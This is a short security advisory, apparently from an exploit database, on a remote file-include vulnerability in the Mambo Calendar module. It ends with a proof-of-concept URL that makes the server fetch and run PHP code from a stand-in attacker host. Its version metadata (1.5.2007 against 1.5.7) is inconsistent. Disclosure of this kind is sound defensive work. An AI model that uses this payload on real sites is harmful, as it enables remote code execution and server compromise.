Calendar Module for Mambo Remote File-Include Vulnerability

vendor:

Calendar Module

by:

SecurityFocus

7.5

CVSS

HIGH

Remote File-Include Vulnerability

CWE

Product Name: Calendar Module

Affected Version From: 1.5.2007

Affected Version To: 1.5.2007

Patch Exists: YES

Related CWE: N/A

CPE: Mambo

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Calendar Module for Mambo Remote File-Include Vulnerability

The Calendar module for Mambo is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/19027/info

The Calendar module for Mambo is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 1.5.7; other versions may also be vulnerable.

http://www.example.com/[target]/[path]/components/com_articles.php?absolute_path=http://attacker.com/evil.txt?